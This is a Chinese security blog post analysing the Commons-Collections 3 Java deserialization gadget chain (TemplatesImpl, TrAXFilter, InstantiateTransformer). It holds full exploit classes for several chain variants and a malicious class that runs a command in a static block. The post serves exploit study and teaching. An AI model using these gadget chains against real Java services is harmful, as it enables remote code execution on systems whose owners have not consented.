Java安全-Commons-Collections 3利用链分析

p0l1st Lv2
  2025-01-22 14:37:26 2025-01-22 14:37:26 Created   2025-01-26 00:14:58 2025-01-26 00:14:58 Updated    

前言

CC3同之前的CC1和CC6的区别非常大，CC1和CC6最终是通过Runtime.exec()来命令执行，但是如果禁用了Runtime呢？

而CC3则是通过动态加载类机制来实现自动执行恶意类代码。

环境

  • JDK8u65
  • Commons-Collections 3.2.1

TemplatesImpl加载字节码

分析

首先来回顾一下TemplatesImpl加载字节码实现RCE。

类加载机制是Java虚拟机用于在运行时加载Java类文件并将其转换为可执行代码的过程。所以不管是远程加载class文件，还是本地的class文件或jar文件，Java虚拟机都会经过下面的过程：

image-20250120154526689

从前往后看，首先是loadclass，从已加载的类缓存、父加载器等位置寻找类，这里实际上就是双亲委派，没有找到的情况下执行findclass

对于findClass方法

  • 根据名称或位置加载.class字节码，然后使用defineClass
  • 通常由子类实现

image-20250120160030850

defineClass的作用是处理前面传入的字节码，将其处理成真正的Java类

此时的defineClass()方法是有局限性的，因为它只是加载类，而不是执行类，如果需要执行，则需要先进行newInstance()实例化

image-20250120161413108

name为类名，b为字节码数组，off为偏移量，len为字节码数组的长度

但是defineClass()方法的作用域为protected，我们需要找到作用域为public的类来利用

find usages，在TemplatesImpl类的static class TranslateClassLoader中找到了可以利用的类

image-20250121141643051

这里的defineClass()方法没有标注作用域，默认为default，也就是说自己的类里面可以调用，继续find usages

image-20250121142017314

作用域为private，继续找

image-20250121142249460

同一个类下的getTransletInstance()方法调用了defineTransletClasses，并且这里有一个newInstance()实例化的过程，如果能走完这个函数就能动态执行代码，因为作用域还是private，继续往下找

image-20250121142625945

终于找到了public，下面开始利用

利用

前面说过只要走过getTransletInstance()即可，因为这里有个newInstance()，用伪代码表示如下

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer(); //因为是一层层调用的，我们需要后续赋值

但是注意这里的限制条件

image-20250121143641063

我们需要让_name不为null，并且_class为null才能往下调用newInstance()

下面开始写Exp

首先就是要通过反射修改TemplatesImpl类的一些属性值

image-20250121143951405

image-20250121144456774

上面说过，_name的值不为null，这里是String类型，我们随便赋个值就行

_class的值为null，本来就是null，不用管它

image-20250121144257300

然后就是_bytecodes和_tfactory

_bytecodes定义的类型是二维数组，所以我们需要创建一个二维数组，但是_bytecodes传进defineClass方法的值是一个一维数组，这个一维数组里面存放我们的恶意字节码。

image-20250121145042602

image-20250121145409818

我们来写个简单的PoC

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3PoC1 {
    public static void main(String[] args) throws IOException {
        byte[] evil = Files.readAllBytes(Paths.get("E:\\Calc.class"));
        byte[][] codes = {evil};

    }
}

恶意类

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;  
  
public class Calc {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
 } catch (IOException e){  
            e.printStackTrace();  
 }  
    }  
}

_tfactory的值在Templates这一类中被定义如下，transient导致其被序列化后无法被访问

image-20250121151802052

直接修改不行，我们只需要让_tfactory不为null即可，看看_tfactory的其他定义

在readObject中，_tfactory = new TransformerFactoryImpl()，那我们只需要通过反射将其赋值为TransformerFactoryImpl()

image-20250122142907130

1
2
3
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);  
tfactoryField.set(templates, new TransformerFactoryImpl());

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Exp1 {
    public static void main(String[] args) throws IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"p0l1st");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

但是运行的时候空指针报错

image-20250121152855094

我们打个断点调试一下

image-20250121153317143

第418行，判断在defineClass()方法中传进去的参数b数组的字节码是否继承了*ABSTRACT_TRANSLET这个父类，没有则抛出异常，我们需要去恶意类中继承ABSTRACT_TRANSLET*这个父类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

image-20250121154042465

调用链：

image-20250121162638146

小问题

我们之前说过，在getTransletInstance方法的_class[_transletIndex].newInstance()实现了类的实例化。

Nbc师傅在文章中提到一个问题，这里是在实例化谁初始化什么

image-20250121163740056

我们找到第405行的try，往下看，可以发现这里的_class就是一个数组，defineClass加载器加载完我们的恶意类字节码后，转换为类存储在_class中，然后进行类的初始化再执行

image-20250121163355902

CC1+TemplatesImpl

TemplatesImpl只是将原本的命令执行变成代码执行的方式，所以在不考虑黑名单的情况下，如果可以进行命令执行，则一定可以通过动态加载字节码进行命令执行

其实就是命令执行的方式变了，把Runtime.exec()换掉，将传参设置为动态加载字节码

TransformMap版CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1TemplatesT {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"p0l1st");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        // templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //   chainedTransformer.transform(1);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","p0l1st");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);
        // 序列化反序列化
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20250121212218169

LazyMap版CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

    public class CC1TemplatesL {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class templatesClass = templates.getClass();
    Field nameField = templatesClass.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates, "p0l1st");

    Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
    byte[][] codes = {evil};
    bytecodesField.set(templates, codes);

    Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
    tfactoryField.setAccessible(true);
    tfactoryField.set(templates, new TransformerFactoryImpl());
    //     templates.newTransformer();
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates), // 构造 setValue 的可控参数
            new InvokerTransformer("newTransformer", null, null)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

    Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
            , new Class[]{Map.class}, invocationHandler);
    invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

    serialize(invocationHandler);
    unserialize("ser.bin");
}

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }

        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
}

CC6+TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6TemplatesExp {
    public static void main(String[] args) throws Exception{
    TemplatesImpl templates = new TemplatesImpl();
    Class templatesClass = templates.getClass();
    Field nameField = templatesClass.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates, "p0l1st");

    Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
    byte[][] codes = {evil};
    bytecodesField.set(templates, codes);

    Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
    tfactoryField.setAccessible(true);
    tfactoryField.set(templates, new TransformerFactoryImpl());
    //     templates.newTransformer();
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
    HashMap<Object, Object> expMap = new HashMap<>();
    expMap.put(tiedMapEntry, "value");
    lazyMap.remove("key");

    // 在 put 之后通过反射修改值
    Class<LazyMap> lazyMapClass = LazyMap.class;
    Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(lazyMap, chainedTransformer);

    serialize(expMap);
    unserialize("ser.bin");
}
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
}

image-20250121194757050

CC3

继续分析

因为只需要调用TemplatesImpl类的newTransformer()方法就可以命令执行，我们继续到newTransformer()方法下，find usages

image-20250122123551888

找到了一个合适的类TrAXFilter

image-20250122124007188

它不能序列化，但是构造函数有条语句，我们可以通过执行构造函数来命令执行

1
_transformer = (TransformerImpl) templates.newTransformer();

CC3的作者调用了一个新的类InstantiateTransformer,这个类是用来初始化Transformer的，我们去找InstantiateTransformer类下的transform方法

image-20250122124716799

只要Class不为空就会获取其指定参数构造器并调用构造函数

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3ExpFinal {
    public static void main(String[] args) throws IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"p0l1st");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

image-20250122130429003

补一下流程图

image-20250122131638641

然后就是找入口类的前半部分，从谁调用了transform开始，那么就可以结合CC1和CC6

CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3ExpFinal1 {
public static void main(String[] args) throws Exception
{
    TemplatesImpl templates = new TemplatesImpl();
    Class templatesClass = templates.getClass();
    Field nameField = templatesClass.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates,"p0l1st");

    Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
    byte[][] codes = {evil};
    bytecodesField.set(templates,codes);

    Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
    tfactoryField.setAccessible(true);
    tfactoryField.set(templates, new TransformerFactoryImpl());
    //    templates.newTransformer();

    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
            new Object[]{templates});
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            instantiateTransformer
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

    Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
            , new Class[]{Map.class}, invocationHandler);
    Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

    serialize(o);
    unserialize("ser.bin");
}

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }

        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
}

image-20250122132431536

CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC3ExpFinal6 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"p0l1st");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //    templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "value");
        lazyMap.remove("key");

        // 在 put 之后通过反射修改值
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        serialize(expMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20250122132748188

小结

流程图结合一下CC1和CC6

image-20250126000226864

参考文章

Java反序列化Commons-Collections篇04-CC3链

Java_Commons-Collections 3 (CC3) 学习过程

CommonCollections3利用链分析

  • Title: Java安全-Commons-Collections 3利用链分析
  • Author: p0l1st
  • Created at : 2025-01-22 14:37:26
  • Updated at : 2025-01-26 00:14:58
  • Link: https://blog.p0l1st.top/2025/01/22/Java安全-Commons-Collections-3利用链分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Java安全-Commons-Collections 3利用链分析
  1. 前言
  2. 环境
  3. TemplatesImpl加载字节码
    1. 分析
    2. 利用
    3. 小问题
  4. CC1+TemplatesImpl
    1. TransformMap版CC1
    2. LazyMap版CC1
  5. CC6+TemplatesImpl
  6. CC3
    1. 继续分析
    2. Exp
      1. CC1
      2. CC6
    3. 小结
  7. 参考文章